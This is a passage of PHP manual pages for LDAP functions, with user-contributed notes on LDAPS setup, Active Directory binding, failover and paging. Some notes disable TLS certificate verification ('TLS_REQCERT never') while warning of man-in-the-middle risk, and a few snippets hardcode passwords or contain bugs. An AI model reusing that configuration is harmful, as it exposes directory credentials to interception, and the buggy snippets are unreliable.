in the file  ca.pem in the same directory we have our ca's:
-----BEGIN CERTIFICATE-----
<cert here>
-----END CERTIFICATE-----
TheThinkingMan 18-Jan-2015 10:52
I have spent hours and hours trying to get an LDAPS connection happening with my local AD LDS instance (running on Windows 8.1 64bit).

I tried certificate after certificate. OpenSSL, Thawte and Self-signed - all with no success.

I ended up deleting all of my certificates and created a Self-signed certificate using IIS 7 (running on Windows 8.1).

I then downloaded the Softerra LDAP browser and it was able to connect to my AD LDS instance via SSL with no problems.

Sure if it could PHP could.

I used the following code to connect:
<?php
$ldap_server = "ldaps://delllappy:636";
$ldap_conn = ldap_connect($ldap_server)  or die("Failed to connect to LDAP server.");
?>
I added the following above the ldap_connect:
<?php
putenv('LDAPTLS_REQCERT=allow');
putenv("LDAPCONF=C:\OpenLDAP\sysconf\ldap.conf");
?>

That did nothing.

The ldap_bind command I used was:
<?php
if (!ldap_bind($ldap_conn, $ldap_user, $ldap_pass)) {
    echo "error";
}else{
    echo "success";
}
?>
BTW: I added a heap of debug in the code too - which is referenced elsewhere - so I didn't add it in here.

The error that I kept on getting was:
Error Binding to LDAP: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

I then ran ProcMon (Process Monitor from Microsoft).

I monitored when I restarted my web server (Z-WAMP). At that point there was no attempt to read ldap.conf.

I then loaded up my web page with my test.php file.

At that point I noticed that it was ldap.conf that was being read but openldap.conf.

Of course as my file was called ldap.conf, openldap.conf failed. I renamed my ldap.conf to openldap.conf and everything worked.

On Z-WAMP running OpenLDAP don't used ldap.conf, use openldap.conf.

The openldap.conf file was placed in C:\openldap\sysconf\.

As the PUTENV values did not do anything, I removed them.
nemanja at prolux-universal dot com 04-Sep-2014 11:00
If you don't want your PHP program to wait XXX seconds before giving up in a case when one of your corporate DC have failed, and since ldap_connect() does not have a mechanism to timeout on a user specified time, this is my workaround which shows excellent practical results.

===========================================================
function serviceping($host, $port=389, $timeout=1)
{
        $op = fsockopen($host, $port, $errno, $errstr, $timeout);
        if (!$op) return 0; //DC is N/A
    else {
    fclose($opanak); //explicitly close open socket connection
    return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');

// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
$dclist = gethostbynamel('domain.name');

foreach ($dclist as $k => $dc) if (serviceping($dc) == true) break; else $dc = 0;
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

if (!$dc) exit("NO DOMAIN CONTROLLERS AVAILABLE AT PRESENT, PLEASE TRY AGAIN LATER!"); //user being notified

//now, ldap_connect would certainly connect succesfully to DC tested previously and no timeout will occur
$ldapconn = ldap_connect($dc) or die("DC N/A, PLEASE TRY AGAIN LATER.");
===========================================================

Also with this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
ac dot russell at live dot com 24-Aug-2012 06:47
In order to connect to an ldap server via ssl I needed to use a certificate. For this to work the ldap admin sent me a .der file which I put into /etc/openldap/cacerts.
    cp ldap-server.der /etc/openldap/cacerts
That directory must be chmod 755. Then the following entries had to be in /etc/openldap/ldap.conf

    # Make the connection vulnerable to MITM-Attacks
    # by not checking any certificates
    # For a better solution see https://andreas.heigl.org/2020/01/31/handle-self-signed-certificates-with-phps-ldap-extension/
    TLS_REQCERT   never
    TLS_CACERTDIR /etc/openldap/cacerts
"TLS_REQCERT never" should only be required if there is a self-signed certificate in the certificate chain.
verikono 11-Apr-2011 01:33
PHP:LDAP does not support persistent connections.
miki at qex dot cz 10-Mar-2010 04:51
I had terrible problems with "Unable to bind to server: Invalid credentials" error - everything seemed to be OK (login/pwd used in other apps).
Solved by adding domain to login (instead "username" I used "username@example.com").
mharting at micahtek dot com 02-Sep-2009 01:35
An addition to trying to setup failover. After doing the ldap_connect, do the ldap_bind.  If ldap_bind fails, use the command ldap_errno to get the error number.  If the error number is 81, that represents the server is down.  That is the only time we do a failover to our backup ldap server.

Another thing to consider is the error could be 49, then do
ldap_get_option($this->ds,LDAP_OPT_ERROR_NUMBER,$optErrorNumber);. This will return extended data and if the data code in that is 532 or 773, the bind failure will be caused by the password being expired and requiring a password update before the bind will succeed.
csnyder at fcny dot org 15-Apr-2009 09:35
It bears repeating (and the examples should probably be updated) that ldap_connect() doesn't actually test the connection to the specified ldap server. This is important if you're trying to build failover into your ldap-based authentication routine.

The only way to test the connection is to actually call ldap_bind( $ds, $username, $password ). But if that fails, is it because you have the wrong username/password or is it because the connection is down? As far as I can see there isn't any way to tell.

It seems that if ldap_bind() fails against your primary server, you have no choice but to try ldap_bind() with the same credentials against the backup. And yet, if your organization limits failed login attempts, a single bad password counts as two failed login attempts. Not good.

One possible workaround is to try an anonymous bind first:

<?php
// connect to primary
$ds = ldap_connect( 'ldap://10.0.0.7/' );
// note: $ds is always a resource even if primary is down

// try anonymous login to test connection
$anon = @ldap_bind( $ds );
if ( !$anon ) {
    // test failed, connect to failover host
    $ds = ldap_connect( 'ldap://10.0.0.8/' );
}
else {
    // test passed, unbind anonymous and reconnect to primary
    ldap_unbind( $ds );
    $ds = ldap_connect( 'ldap://10.0.0.7/' );
}

// now try a real login
$login = @ldap_bind( $ds, $username, $password );
?>

Note that this workaround relies on anonymous login being enabled, which may not always be the case. It's a little sad that there is no other way to test the connection. Hopefully this can be remedied in some future implementation of ldap_connect().
peter dot burden at gmail dot com 27-Jan-2009 04:40
The host name parameter can be a space separated list of host names. This means that the LDAP code will talk to a backup server if the main server is not operational. There will be a delay while the code times out trying to talk to the main server but things will still work. This is particularly useful with a typical Microsoft Active Directory setup of primary and backup domain controllers.
<?php
$ldaphost = "192.168.0.100 192.168.0.101";
$ldapconn = ldap_connect($ldaphost);
?>
geigers at binghamton dot edu 01-May-2008 01:04
If you have oci8 and are trying to use openldap for ldap you *may* run into a problem.  I have an Oracle database that I connect to from apache.  Oracle also has ldap libs which were taking precedence over the openldap libs.  This would cause a seg fault when calling ldap_connect with a uri style connect string; e.g. ldap_connect("ldaps://myldapserver.host");

After using gdb to debug a core dump and a lot of googling I found that the solution was to add an env-var to apachectl startup.

I am using Apache 2.2.8 with PHP 5.2.5 on RHEL.  I added:

LD_PRELOAD=/path/to/libldap.so
export LD_PRELOAD

in /usr/sbin/envvars which is read when apachectl starts.  You can read more on this here: http://www.mail-archive.com/php-bugs@lists.php.net/msg02201.html

Scott Geiger
bleathem at gmail dot com 27-Feb-2008 02:30
Everyone is posting about getting ldaps:// working in a WAMP/AD stack, I had a tough time finding how to get it going in RHEL 5.1 (w/ all stock rpms).  Good old strace did the trick and helped me find the problem...

Turns out php was looking for the CA file in /etc/pki/CA, and I didn't have the correct permissions on the folder.  chmod'ing it to 755 solved my "Can't contact LDAP server" message.
andreas dot a dot sandberg at gmail dot com 05-Jun-2007 05:28
Be careful when using ldap_connect with the sun client libraries that come bundled with solaris.   When specifyng the host with the ldap protocol, my connection failed and it took me a good day to trouble shoot.  ie. ldap_connect("ldap://somwhere.com");  Just remove the 'ldap://' and specify the host.   This was on Solaris 10 sparc.
vandervoord at planet dot nl 05-May-2007 06:22
The previous note concerning searching the whole AD tree works fully. Though you must be sure that the server you're authenticating/searching is a Global Catalog server. If not, connecting and binding will fail. Usually there is at least one Global Catalog server in your domain, so if the connect fails try another server it will work. The reason it works is that the Global Catalog server searches the whole domain as where the domain catalog only searches a given OU, offcourse this opposes a security threat as well :)...
allie at lsu dot edu 06-Mar-2007 02:23
I sure do wish there was some way I could get this information out to all programmers in the world about binding and searching MS AD.  This is the second time I was bit by the "I need to search the entire tree" problem.

For php (and apache auth_ldap ) you need to specify port 3268 when you want to search the entire tree.  Otherwise it will spit out the partial results error.

ldap_connect($server,3268);

I'm just fortunate enough to have won this same battle with apache searching the whole directory.  When I noticed our php application failing auth's for users, I was immediately able to fix the problem by adding this port specification (and the ldap_set_option($ldapserver, LDAP_OPT_REFERRALS, 0)  option).

I really hope this helps someone else before they pull all their hair out.  I know I miss mine.
elsint at yahoo dot com 21-Sep-2006 01:48
Be careful about the certificate's permission if you are using Windows.

Set certificates' permissions for everyone to Read and Read&Execute or you may get binding errors because of this.
baroque at citromail dot hu 05-Nov-2005 01:20
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
Srivathsa M 23-Jun-2005 03:28
Using LDAP over SSL on NetWare:

1. Copy the server certificates to sys:/php5/cert directory. This location is configurable in php.ini file.

2. Use "ldaps://" prefix for host name argument or a value of 636 for port number argument in ldap_connect call.

For more details, visit, NetWare specific PHP documentation at http://developer.novell.com/ndk/doc/php/index.html
nigelf at esp dot co dot uk 26-Apr-2005 03:58
As mentioned above, openLDAP will always return a resource, even if the server name isn't valid.

If you then bind with errors suppressed (@ldap_bind) and it fails, it's not obvious what caused the failure (ie: connection or credentials).  As the bind doesn't return a resource you can't get the last error from ldap_error etc. either.

If you display just a message about login failure to the user they may get frustrated re-typing a valid username/password when it's the connection that's at fault.
blizzards at libero dot it 28-Sep-2004 03:23
To complete questions about how to connect to a LDAP ACTIVE DIRECTORY 2000/2003 server with SASL on port 636, you can refer to prevous notes, and the following directives:

A)Create CA certificates from AD;
B)Export in .pem (DER) format;
C)Install OPENSSL,CYRUS SASL,OPENLDAP,KERBEROS 5;
D)Copy exported AD ca cert into openssl certs dir on your unix system;
E)Reash with c_reash command;
F)Get a kerberos ticket form AD for your user;
G)Compile PHP with SSL and LDAP support;
H)Test with ldapsearch -D <binddn> -W -H ldaps://ad.secure.com:636 -x

If all works right, create your php script.

Note: For writing parameters to AD you need to renew ticket each 10 hours or less (AD default lifetime ticket), for reading pourpose you can maintain expired ticket.
When querying a windows 2000/2003 AD you MUST use only SASL and not TLS (non supported).
Andrew (a.whyte at cqu.edu.au) 29-Sep-2003 12:15
To be able to make modifications to Active Directory via the LDAP connector you must bind to the LDAP service over SSL. Otherwise Active Directory provides a mostly readonly connection. You cannot add objects or modify certain properties without LDAPS, e.g. passwords can only be changed using LDAPS connections to Active Directory.

Therefore, for those wishing to securely connect to Active Directory, from a Unix host using PHP+OpenLDAP+OpenSSL I spent some time getting this going myself, and came across a few gotcha's. Hope this proves fruitfull for others like me when you couldn't find answers out there.

Make sure you compile OpenLDAP with OpenSSL support, and that you compile PHP with OpenLDAP and OpenSSL.

This provides PHP with what it needs to make use of ldaps:// connections.

Configure OpenSSL:

Extract your Root CA certificate from Active Directory, this is achived through the use of Certificate Services, a startard component of Windows 2000 Server, but may not be installed by default, (The usual Add/Remove Software method will work here). I extracted this in Base64 not DER format.

Place the extracted CAcert into the certs folder for openssl. (e.g. /usr/local/ssl/certs) and setup the hashed symlinks. This is easily done by simply running:

  /usr/local/ssl/bin/c_rehash

Once this is done you can test it is worked by running:

  /usr/local/ssl/bin/openssl verify -verbose -CApath /usr/local/ssl/certs /tmp/exported_cacert.pem

(Should return: OK).

Configure OpenLDAP:

Add the following to your ldap.conf file.
(found as /usr/local/openldap/etc/openldap/ldap.conf)

  #--begin--

  # Instruct client to NOT request a server's cert.
  #
  # WARNING: This will open up the server vor Man-in-the-middle
  # attacs and should *not* be used on production systems or outside
  # of test-scenarios!
  #
  # If you use this setting you will not need any other settings as
  # no certificate is requested and therefore will not be validated
  #
  # For a proper solution check out https://andreas.heigl.org/2020/01/31/handle-self-signed-certificates-with-phps-ldap-extension/
  TLS_REQCERT never

  # Define location of CA Cert
  TLS_CACERT /usr/local/ssl/certs/AD_CA_CERT.pem
  TLS_CACERTDIR /usr/local/ssl/certs

  #--end--

You also need to place those same settings in a file within the Apache Web user homedir called .ldaprc

  e.g.:

  cp /usr/local/openldap/etc/openldap/ldap.conf ~www/.ldaprc )

You can then test that you're able to establish a LDAPS connection to Active Directory from the OpenLDAP command tools:

  /usr/local/openldap/bin/ldapsearch -H "ldaps://adserver.ad.com"

This should return some output in extended LDIF format and will indicate no matching objects, but it proves the connection works.

The name of the server you're connecting to is important. If they server name you specify in the "ldaps://" URI does not match the name of the server in it's certificate, it will complain like so:

  ldap_bind: Can't contact LDAP server (81)
        additional info: TLS: hostname does not match CN in peer certificate

Once you've gotten the ldapsearch tool working correctly PHP should work also.

One important gotcha however is that the Web user must be able to locate it's HOME folder. You must check that Apache is providing a HOME variable set to the Web users home directory, so that php can locate the .ldaprc file and the settings contained within. This may well be different between Unix variants but it is such a simple and stupid thing if you miss it and it causes you grief. Simply use a SetEnv directive in Apache's httpd.conf:

  SetEnv HOME /usr/local/www

With all that done, you can now code up a simple connect function:

  function connect_AD()
  {
    $ldap_server = "ldaps://adserver.ad.com" ;
    $ldap_user   = "CN=web service account,OU=Service Accounts,DC=ad,DC=com" ;
    $ldap_pass   = "password" ;

    $ad = ldap_connect($ldap_server) ;
    ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3) ;
    $bound = ldap_bind($ad, $ldap_user, $ldap_pass);

    return $ad ;
  }

Optionally you can avoid the URI style server string and use something like ldap_connect("adserver.ad.com", 636) ;  But work fine with Active Directory servers.

Hope this proves usefull.
avel at noc uoa gr 24-Jul-2002 07:05
Note that hostname can be a space-separated list of LDAP host names. This is very useful for failover; if the first ldap host is down, ldap_connect will ask the second LDAP host. Of course, you _must_ have LDAP replicates before doing this. :) Read the LDAP API documentation for more information.

This can also be useful, apart from failover, for LDAP load balancing. Just use a random generator function that will return a different space-separated list every time. This is because the first host in the list is always tried first.

Be careful when doing LDAP writes; be sure to always connect to your master host when you are about to modify the database, so that the replicates will get the changes as expected.

Alexandros Vellis
24-Apr-2002 09:28
A resource ID is always returned when using URLs for the host parameter
even if the host does not exist.

"When using an URI to describe the connection, the (open)ldap library
only parses the url and checks if it's valid, _no connection_ is
established in that case."
-mfischer@php.net
http://bugs.php.net/bug.php?id=15637


Retrieve the LDAP pagination cookie

  • ? ldap_connect
  • ldap_control_paged_result ?
  • PHP Manual
  • LDAP 函数
  • Retrieve the LDAP pagination cookie

ldap_control_paged_result_response

(PHP 5 >= 5.4.0, PHP 7)

ldap_control_paged_result_response — Retrieve the LDAP pagination cookie

Warning

This function has been DEPRECATED as of PHP 7.4.0, and REMOVED as of PHP 8.0.0. Instead the controls parameter of ldap_search() should be used. See also LDAP Controls for details.

说明

ldap_control_paged_result_response(
resource $link,
resource $result,
string &$cookie = ?,
int &$estimated = ?
): bool

Retrieve the pagination information send by the server.

参数

link

An LDAP resource, returned by ldap_connect().

result

cookie

An opaque structure sent by the server.

estimated

The estimated number of entries to retrieve.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | This function has been removed.
7.4.0 | This function has been deprecated.

参见

  • ldap_control_paged_result() - Send LDAP pagination control
  • » RFC2696 : LDAP Control Extension for Simple Paged Results Manipulation

User Contributed Notes

There are no user contributed notes for this page.


Send LDAP pagination control

  • ? ldap_control_paged_result_response
  • ldap_count_entries ?
  • PHP Manual
  • LDAP 函数
  • Send LDAP pagination control

ldap_control_paged_result

(PHP 5 >= 5.4.0, PHP 7)

ldap_control_paged_result — Send LDAP pagination control

Warning

This function has been DEPRECATED as of PHP 7.4.0, and REMOVED as of PHP 8.0.0. Instead the controls parameter of ldap_search() should be used. See also LDAP Controls for details.

说明

ldap_control_paged_result(
resource $link,
int $pagesize,
bool $iscritical = false,
string $cookie = ""
): bool

Enable LDAP pagination by sending the pagination control (page size, cookie...).

参数

link

An LDAP resource, returned by ldap_connect().

pagesize

The number of entries by page.

iscritical

Indicates whether the pagination is critical or not. If true and if the server doesn't support pagination, the search will return no result.

cookie

An opaque structure sent by the server (ldap_control_paged_result_response()).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | This function has been removed.
7.4.0 | This function has been deprecated.

示例

The example below show the retrieval of the first page of a search paginated with one entry by page.

Example #1 LDAP pagination

<?php
// $ds is a valid link identifier (see ldap_connect)
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

// enable pagination with a page size of 1.
ldap_control_paged_result($ds, 1);

$sr = ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info['count'] . ' entries returned' . PHP_EOL;

The example below show the retrieval of all the result paginated with 100 entries by page.

Example #2 LDAP pagination

<?php
// $ds is a valid link identifier (see ldap_connect)
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

// enable pagination with a page size of 100.
$pageSize = 100;

$cookie = '';
do {
ldap_control_paged_result($ds, $pageSize, true, $cookie);

$result = ldap_search($ds, $dn, $filter, $justthese);
$entries = ldap_get_entries($ds, $result);

foreach ($entries as $e) {
echo $e['dn'] . PHP_EOL;
}

ldap_control_paged_result_response($ds, $result, $cookie);

} while($cookie !== null && $cookie != '');

注释

Note:

Pagination control is a LDAPv3 protocol feature.

参见

  • ldap_control_paged_result_response() - Retrieve the LDAP pagination cookie
  • » RFC2696 : LDAP Control Extension for Simple Paged Results Manipulation

User Contributed Notes

steven_bauman at outlook dot com 03-Jun-2016 04:58
While another note suggests resetting the control paged result by passing in `0` (zero), it actually still prevents any further queries being ran during the same request.

You actually need to set it to a large number to run further queries it seems. For example:

<?php
ldap_control_paged_result($connection, 100, true, $cookie);

// Run the search
...

// What is supposed to work (reset)
ldap_control_paged_result($connection, 0, false, $cookie);

// What actually works
ldap_control_paged_result($connection, 1000, false, $cookie);
?>

In the above method, 1000 is just a placeholder, but this seems to actually **limit** further queries to this amount of results, so if you set it to `1`, then you'll only receive **one** result for any further queries during the same request.
dublue at gmail dot com 09-Apr-2014 01:02
So how do you now sort the entire result? It appears you can't use ldap_sort as it uses the search resource which is within the loop.
Blizzz 21-Oct-2013 03:26
If you did a paged search operation and want to do any other read operation on LDAP, you need to reset it, otherwise you will experience LDAP errors (code 12, for instance).

<?php
...
ldap_control_paged_result($link, 0);
...
?>
jestertrance at hotmail dot com 06-Mar-2013 05:44
You may need to do an ldap_bind before running ldap_control_paged_result to get this to work:

$conn = ldap_connect("you_ip");
ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind("your_connection_info");
ldap_control_paged_result($conn, $pageSize, true, $cookie)

Without doing an ldap_bind, I kept getting the error "Critical extension is unavailable". I don't if this is standard knowledge, but knowing this would have saved me days of frustration.
etienne at lamaisondebarbie dot ch 30-Apr-2012 03:14
Paged results, as specified in the RFC 2696, does not allow to get over the server sizeLimit. The RFC clearly states "If the page size is greater than or equal to the sizeLimit value, the server should ignore the control as the request can be satisfied in a single page".
With OpenLDAP, you will not get more than the sizeLimit number of entries with paged results.
James 14-Apr-2012 12:56
I was able to get these functions to work successfully with Active Directory.  When I first tried it, ldap_search kept returning a Not Supported reply from the server.  I finally figured out that I needed to include

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

in my code, so that AD would let me page results.  Make sure you're using a compatible protocol.

Hope this note helps someone else.


Count the number of entries in a search

  • ? ldap_control_paged_result
  • ldap_count_references ?
  • PHP Manual
  • LDAP 函数
  • Count the number of entries in a search

ldap_count_entries

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_count_entries — Count the number of entries in a search

说明

ldap_count_entries(LDAP\Connection $ldap, LDAP\Result $result): int

Returns the number of entries stored in the result of previous search operations.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

返回值

Returns number of entries in the result, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.

示例

Example #1 ldap_count_entries() example

Retrieve number of entries in the result.

// $ds is a valid LDAP\Connection instance for a directory server

$dn = 'ou=example,dc=org';
$filter = '(|(sn=Doe*)(givenname=John*))';
$justthese = array('ou', 'sn', 'givenname', 'mail');

$sr = ldap_search($ds, $dn, $filter, $justthese);

var_dump(ldap_count_entries($ds, $sr));

以上示例的输出类似于：

     int(1)

User Contributed Notes

martin dot keckeis1 at gmail dot com 29-Jun-2015 12:11
If your search result is larger then the directory limit, it will just show you the maximum number of return entries possible by the directory (.e.g 2000 in some ActiveDirectories)


Counts the number of references in a search result

  • ? ldap_count_entries
  • ldap_delete_ext ?
  • PHP Manual
  • LDAP 函数
  • Counts the number of references in a search result

ldap_count_references

(PHP 8)

ldap_count_references — Counts the number of references in a search result

说明

ldap_count_references(LDAP\Connection $ldap, LDAP\Result $result): int

Counts the number of references in a search result.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

result

通过 ldap_list() 或者 ldap_search() 返回的 LDAP\Result 实例。

返回值

Returns the number of references in a search result.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | The result parameter expects an LDAP\Result instance now; previously, a valid ldap result resource was expected.

参见

  • ldap_connect() - Connect to an LDAP server

User Contributed Notes

There are no user contributed notes for this page.


Delete an entry from a directory

  • ? ldap_count_references
  • ldap_delete ?
  • PHP Manual
  • LDAP 函数
  • Delete an entry from a directory

ldap_delete_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_delete_ext — Delete an entry from a directory

说明

ldap_delete_ext(LDAP\Connection $ldap, string $dn, ?array $controls = null): LDAP\Result|false

Does the same thing as ldap_delete() but returns an LDAP\Result instance to be parsed with ldap_parse_result().

参数

See ldap_delete()

返回值

Returns an LDAP\Result instance, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.1.0 | Returns an LDAP\Result instance now; previously, a resource was returned.
8.0.0 | controls is nullable now; previously, it defaulted to [].

参见

  • ldap_delete() - Delete an entry from a directory
  • ldap_parse_result() - Extract information from result

User Contributed Notes

There are no user contributed notes for this page.


Delete an entry from a directory

  • ? ldap_delete_ext
  • ldap_dn2ufn ?
  • PHP Manual
  • LDAP 函数
  • Delete an entry from a directory

ldap_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_delete — Delete an entry from a directory

说明

ldap_delete(LDAP\Connection $ldap, string $dn, ?array $controls = null): bool

Deletes a particular entry in LDAP directory.

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

dn

The distinguished name of an LDAP entity.

controls

Array of LDAP Controls to send with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。
8.0.0 | controls is nullable now; previously, it defaulted to [].
7.3.0 | Support for controls added

参见

  • ldap_delete_ext() - Delete an entry from a directory
  • ldap_add() - Add entries to LDAP directory

User Contributed Notes

grossman at post dot cz 23-Jan-2018 10:56
Be aware! Operation not allowed on non-leaf.
gabriel at hrz dot uni-marburg dot de 14-May-2002 08:16
Useful function to delete dn entries recursively

bool myldap_delete ( resource ds, string dn, bool recursive)

Returns TRUE on success, FALSE on failure
recursive is by default FALSE (same behaviour as ldap_delete)

function myldap_delete($ds,$dn,$recursive=false){
    if($recursive == false){
        return(ldap_delete($ds,$dn));
    }else{
        //searching for sub entries
        $sr=ldap_list($ds,$dn,"ObjectClass=*",array(""));
        $info = ldap_get_entries($ds, $sr);
        for($i=0;$i<$info['count'];$i++){
            //deleting recursively sub entries
            $result=myldap_delete($ds,$info[$i]['dn'],$recursive);
            if(!$result){
                //return result code, if delete fails
                return($result);
            }
        }
        return(ldap_delete($ds,$dn));
    }
}


Convert DN to User Friendly Naming format

  • ? ldap_delete
  • ldap_err2str ?
  • PHP Manual
  • LDAP 函数
  • Convert DN to User Friendly Naming format

ldap_dn2ufn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_dn2ufn — Convert DN to User Friendly Naming format

说明

ldap_dn2ufn(string $dn): string|false

Turns the specified dn, into a more user-friendly form, stripping off type names.

参数

dn

The distinguished name of an LDAP entity.

返回值

Returns the user friendly name, 或者在失败时返回 false.

User Contributed Notes

naaina at gmail dot com 18-Feb-2005 04:18
Don't know if anyone is interested in this, but this is a modified and more dynamic version of the posting below. Since ldap_dn2ufn takes ',' as delimiter for the UFNs, we'll also use it here. $pHowToBuild specifies, how the DN is going to be build.

Short example:

$myUFN = ldap_dn2ufn("cn=naaina, ou=container1, ou=container2, ou=container3, o=private, c=de");
echo $myUFN . "\n"; // will return "naaina, container1, container2, container3, private, de"

$myDN = $ldapObject->conv_ufn2dn($myUFN);
echo $myDN . "\n"; // will return "cn=naaina,ou=container1,ou=container2,ou=container3,o=private,c=de"

For the object name, $pHowToBuild["object"] is going to be used as prefix - for containers $pHowToBuild["container"] and for the last n elements $pHowToBuild["last"].

<?php
  function ldap_ufn2dn (
   $pUFN,
   $pDelimiter = ",",
   $pHowToBuild = array(
    "object" => "cn",
    "container" => "ou",
    "last" => array("o", "c")
   )
  )
  {
   $resultDN = null;

   if(!empty($pUFN)) {
     /* Check $pHowToBuild */
     if(is_array($pHowToBuild)) {
       /* Check if required keys are existent */
       if(array_key_exists("object", $pHowToBuild) &&
          array_key_exists("container", $pHowToBuild) &&
          array_key_exists("last", $pHowToBuild))
       {
         $ufnArray = explode($pDelimiter, $pUFN);
         $ufnLast  = count($ufnArray) - count($pHowToBuild["last"]);

         /* Remove empty values */
         foreach($ufnArray as $objKey => $objVal)
           if(empty($objVal))
             array_splice($ufnArray, $objKey, 1);

         /* Now build the DN ... */
         foreach($ufnArray as $objKey => $objVal) {
           $objVal = trim($objVal);

           if($objKey == 0) {
             /* For the object */
             $resultDN .= $pHowToBuild["object"] . "=" . $objVal . ",";
           } elseif ($objKey >= $ufnLast) {
             /* For last parts of the DN */
             $resultDN .= $pHowToBuild["last"][$objKey - $ufnLast] . "=" . $objVal;
             if(($objKey - $ufnLast - 1) != 0) {
               $resultDN .= ",";
             }
           } else {
             /* For containers */
             $resultDN .= $pHowToBuild["container"] . "=" . $objVal . ",";
           }
         }
       }
     }
   }

   return $resultDN;
  }
?>
alex at netflex dot nl 15-Oct-2002 04:09
The function of bryan will only work if you start with an Organization and using only an Organizational Unit as a container and the object is an CN.

For example:

$DN = "CN=DNS,CN=Authorized Login Methods,CN=Security";

echo ($DN = ldap_dn2ufn($DN)) . "\n";

echo ($DN = ldap_ufn2dn($DN)) . "\n";

will echo:

DNS,Authorized Login Methods,Security

CN=DNS,OU=Authorized Login Methods,O=Security
bryan at apachetoolbox dot com 24-Jul-2001 04:47
function ldap_unf2dn($unf,$delimeter=".") {
 $seperated = explode($delimeter,$unf); //split the unf up by the given delimeter
 $LastKey=count($seperated)-1;          //0 is the first key to total-1 would be the last key
 foreach($seperated as $key => $value) {
  if ($key == 1) {              //first variable is the CN
   $dn="${dn}cn=$value,";
  } elseif ($key == $LastKey) { //last variable, so it's the O
   $dn="${dn}o=$value";
  } elseif ($value == "") {     //value is blank, so continue
   continue;
  } else {                      //just a typical OU
   $dn="${dn}ou=$value,";
  }

 };
return $dn;

}

$unf=".bryan.users.admin.apachetoolbox";
$dn=ldap_unf2dn($unf);
print "$dn" // will give me "cn=bryan,ou=users,ou=TS,o=apachetoolbox"
bryan at apachetoolbox dot com 24-Jul-2001 04:12
This function will convert "cn=bryan,ou=users,ou=admin,o=apachetoolbox" to "bryan,users,admin,apachetoolbox".


Convert LDAP error number into string error message

  • ? ldap_dn2ufn
  • ldap_errno ?
  • PHP Manual
  • LDAP 函数
  • Convert LDAP error number into string error message

ldap_err2str

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_err2str — Convert LDAP error number into string error message

说明

ldap_err2str(int $errno): string

Returns the string error message explaining the error number errno. While LDAP errno numbers are standardized, different libraries return different or even localized textual error messages. Never check for a specific error message text, but always use an error number to check.

参数

errno

The error number.

返回值

Returns the error message, as a string.

示例

Example #1 Enumerating all LDAP error messages

<?php
for ($i=0; $i<100; $i++) {
printf("Error $i: %s<br />\n", ldap_err2str($i));
}
?>

参见

  • ldap_errno() - Return the LDAP error number of the last LDAP command
  • ldap_error() - Return the LDAP error message of the last LDAP command

User Contributed Notes

There are no user contributed notes for this page.


Return the LDAP error number of the last LDAP command

  • ? ldap_err2str
  • ldap_error ?
  • PHP Manual
  • LDAP 函数
  • Return the LDAP error number of the last LDAP command

ldap_errno

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_errno — Return the LDAP error number of the last LDAP command

说明

ldap_errno(LDAP\Connection $ldap): int

Returns the standardized error number returned by the last LDAP command. This number can be converted into a textual error message using ldap_err2str().

参数

ldap

通过 ldap_connect() 返回的 LDAP\Connection 实例。

返回值

Return the LDAP error number of the last LDAP command for this link.

更新日志

版本 | 说明
8.1.0 | 现在 ldap 参数接受 LDAP\Connection 实例，之前接受有效的 ldap link resource。

示例

Unless you lower your warning level in your php.ini sufficiently or prefix your LDAP commands with @ (at) characters to suppress warning output, the errors generated will also show up in your HTML output.

Example #1 Generating and catching an error

<?php
// This example contains an error, which we will catch.
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// syntax error in filter expression (errno 87),
